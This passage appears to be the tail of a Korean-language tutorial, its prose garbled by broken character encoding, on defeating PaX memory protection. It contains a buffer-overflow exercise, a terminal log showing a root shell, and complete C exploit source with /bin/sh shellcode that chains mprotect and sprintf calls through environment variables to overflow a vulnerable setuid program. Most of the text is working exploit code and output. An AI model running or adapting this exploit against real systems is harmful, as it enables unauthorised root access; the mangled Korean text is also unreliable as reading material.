ÇÏ°Ú´Ù. Ç®¾îº¸½Ã±â ¹Ù¶õ´Ù. Á¶°ÇÀº printf¸¦ Á÷Á¢ È£ÃâÇÏ¿© È­¸é¿¡ Ãâ·ÂÇÏ´Â °ÍÀÌ ¾Æ´Ï¶ó´Â °ÍÀÌ´Ù. printf¸¦ chainÀ¸·Î ¿«´Â °ÍÀÌ ¾Æ´Ñ, code¿µ¿ªÀÇ º¯ÇüÀÌ ÇÊ¿äÇÏ´Ù. ^^ À§¿¡¼­ ÁöÀûÇÑ ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© Ç®¾îº¸¸é Àç¹Ì ÀÖÀ» °ÍÀÌ¶ó º»´Ù. ^^ <................................................> #include int main(int argc, char* argv[]) { char buf[20]; strcpy(buf, argv[1]); printf("WowWow\n"); goto null2root; printf("Execute me!!!\n"); exit(0); null2root: printf("^______^ \n\n"); } ¾Æ·¡¿Í °°Àº °á°ú°¡ ³ª¿Àµµ·Ï ½ÇÇà½ÃÅ°½Ã¿À. <½ÇÇà°á°ú> WowWow ^______^ WowWow Execute me!!! /////////////////////////////////////////////////////////////////////////////////////////////// ////// 6. Âü°í¹®¼­ 1. The advanced return-into-lib(c) exploits : phrack 58-4 2. PaX team - PaX // http://pageexec.virtualave.net 3. ±âŸ ¼ö¸¹Àº bof±Ûµé ^^ /////////////////////////////////////////////////////////////////////////////////////////////// ////// 7. ºÎ·Ï mutacker ~/BreakPaX/khdp 22> ./m Usage: ./m program name must be full path!!! mutacker ~/BreakPaX/khdp 23> ./m vulunerbility Starting : vulunerbility sh-2.04# id uid=0(root) gid=500(mutacker) groups=500(mutacker) sh-2.04# ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // -- mprotect.h ÆÄÀÏ ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// unsigned long get_offset(char *vulfile, char* func_name); unsigned long get_leaveret(char *vulfile); char hellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46" "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31" "\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; struct three_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; unsigned int param3; }; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct go_env_area { struct three_arg mu_mprotect; struct two_arg mu_sprintf; char shellbuf[64]; }; char *name[100]; char *env[100]; int namecnt=0; int envcnt=0; unsigned long zero2a5(unsigned long num) { int cnt; unsigned long ch; char* ptr = (char*) &ch; ch = num; for(cnt=0; cnt < 4; cnt++) { if (ptr[cnt] == 0) ptr[cnt] = 0xa5; } printf("0x%x\n", ch); return ch; } void InsertEnv(char* str) { env[envcnt] = str; envcnt++; } void InsertEnvFinish() { env[envcnt] = NULL; envcnt++; } #define OBJDUMP "/usr/bin/objdump" #define GREP "/bin/grep" #define AWK "/bin/awk" #define LDD "/usr/bin/ldd" #define LDLINUX "/lib/ld-linux.so.2" #define LIBC "libc.so.6" #define TAIL "/usr/bin/tail" unsigned long get_offset(char *vulfile, char* func_name) { FILE* cmdpipe; char command[1024]; char base[100]; char offset[100]; unsigned long base_addr; unsigned long offset_addr; char libraryfile[100]; memset(libraryfile, 0, 100); memset(command, 0, 1024); if (strcmp(func_name, "mprotect") == 0) sprintf(libraryfile, LDLINUX); else if (strcmp(func_name, "sprintf") == 0) sprintf(libraryfile, "/lib/i686/%s", LIBC); else { printf("function name not supported!!\n"); exit(0); } sprintf(command, "%s -x %s | %s %s | %s '$6 == \"%s\" {print \"0x\"$1}'", OBJDUMP, libraryfile, GREP, func_name, AWK, func_name); cmdpipe = popen(command, "r"); fgets(base, 100, cmdpipe); pclose(cmdpipe); base_addr = strtol(base, NULL, 16); if (strcmp(func_name, "mprotect") == 0) sprintf(libraryfile, LDLINUX); else if (strcmp(func_name, "sprintf") == 0) sprintf(libraryfile, LIBC); else { printf("function name not supported!!\n"); exit(0); } memset(command, 0, 1024); sprintf(command, "%s %s | %s '$1 == \"%s\" {print $4}'", LDD, vulfile, AWK, libraryfile); cmdpipe = popen(command, "r"); fgets(offset, 100, cmdpipe); pclose(cmdpipe); offset[0] = ' '; offset[11] = ' '; offset_addr = strtol(offset, NULL, 16); return(base_addr+offset_addr); } unsigned long get_leaveret(char *vulfile) { FILE* cmdpipe; char command[1024]; char addr[100]; unsigned long leaveret_addr; memset(command, 0, 1024); sprintf(command, "%s -d %s | %s leave | " "%s '$3 == \"leave\" {print \"0x\"$1}' | %s -n 1", OBJDUMP, vulfile, GREP, AWK, TAIL); cmdpipe = popen(command, "r"); fgets(addr, 100, cmdpipe); pclose(cmdpipe); addr[10] = ' '; leaveret_addr = strtol(addr, NULL, 16); return(leaveret_addr); } ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // -- vulex.c ÆÄÀÏ ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// #include #include #include #include #include #include "mprotect.h" #define DUMMY_COUNT 40 struct overflowst { char dummy[DUMMY_COUNT]; unsigned int ebp; unsigned int leave_ret; unsigned int null; }; unsigned long Var_mprotect; unsigned long Var_sprintf; unsigned long Var_shellarea; unsigned long Var_leaveret; unsigned long Var_shellcode; unsigned long Var_mprotect_newebp; main(int argc, char* argv[]) { struct overflowst argument; struct go_env_area* p_env; char* base; char buf[1024]; char attack_prog[1024]; char* find_a5; int loopcnt; memset(buf, 0, sizeof(buf)); memset(attack_prog, 0, sizeof(attack_prog)); if (argc == 2) strcpy(attack_prog, argv[1]); else { printf("Usage: %s \n" "program name must be full path!!!\n", argv[0]); exit(0); } Var_mprotect = zero2a5(get_offset(attack_prog, "mprotect")); Var_sprintf = zero2a5(get_offset(attack_prog, "sprintf")); Var_shellarea = zero2a5(0x08048000); Var_leaveret = zero2a5(get_leaveret(attack_prog)); Var_shellcode = zero2a5(0xbfffff98); Var_mprotect_newebp = 4-(strlen(attack_prog)+1)%4; // prog dummy size Var_mprotect_newebp += strlen(attack_prog)+1 + 4; // progname+null 4 Var_mprotect_newebp += sizeof(struct go_env_area); Var_mprotect_newebp -= offsetof(struct go_env_area, mu_sprintf); Var_mprotect_newebp = 0xc0000000 - Var_mprotect_newebp; ////// ¸Å°³ º¯¼ö ¼³Á¤ ºÎºÐ memset(argument.dummy, 0x61, DUMMY_COUNT); argument.ebp = Var_mprotect_newebp-offsetof(struct go_env_area, mu_sprintf); argument.leave_ret = Var_leaveret; argument.null = 0; namecnt = 0; name[namecnt++] = attack_prog; printf("Starting : %s\n", name[namecnt-1]); name[namecnt++] = (char*) &argument; name[namecnt++] = NULL; ////////////////////////////// // 4ÀÇ ¹è¼ö·Î ¸¸µé±â À§ÇÑ dummy][strlen(attack_prog)+1][4] ////// ȯ°æ º¯¼ö ¼³Á¤ ºÎºÐ base = buf; p_env = (struct go_env_area*) buf; p_env->mu_mprotect.new_ebp = Var_mprotect_newebp; p_env->mu_mprotect.func = Var_mprotect; p_env->mu_mprotect.leave_ret = Var_leaveret; p_env->mu_mprotect.param1 = Var_shellarea; p_env->mu_mprotect.param2 = 0xA5A510A5; p_env->mu_mprotect.param3 = 0xA5A5A507; // sprintf_newebp´Â ½ÇÁ¦ Àǹ̾øÀ½, ±× ÀÌÈÄ´Â ½©ÄÚµå·Î ³Ñ¾î°¡ ¹ö¸®±â ¶§¹®¿¡.. // µû¶ó¼­, ±× ÀÚ¸®¸¦ 0xffffffff·Î ¼³Á¤Çصµ ¹«¹æÇÔ p_env->mu_sprintf.new_ebp = 0xffffffff; //Var_mprotect_newebp; p_env->mu_sprintf.func = Var_sprintf; p_env->mu_sprintf.leave_ret = Var_shellarea; p_env->mu_sprintf.param1 = Var_shellarea; p_env->mu_sprintf.param2 = Var_shellcode; memset(p_env->shellbuf, 0x90, sizeof(p_env->shellbuf)); strcpy(p_env->shellbuf+sizeof(p_env->shellbuf)-strlen(hellcode)-1, hellcode); find_a5 = base; while(find_a5 != NULL) { find_a5 = (char*)strchr(base, (char)0xa5); if(find_a5 != NULL) *find_a5 = 0; InsertEnv(base); if(find_a5 != NULL) base = find_a5+1; } for(loopcnt = 0; loopcnt < 4 - ((strlen(attack_prog)+1) % 4); loopcnt++) InsertEnv(""); ////////////////////////////// execve(attack_prog, name, env); printf("Fail execve()\n"); }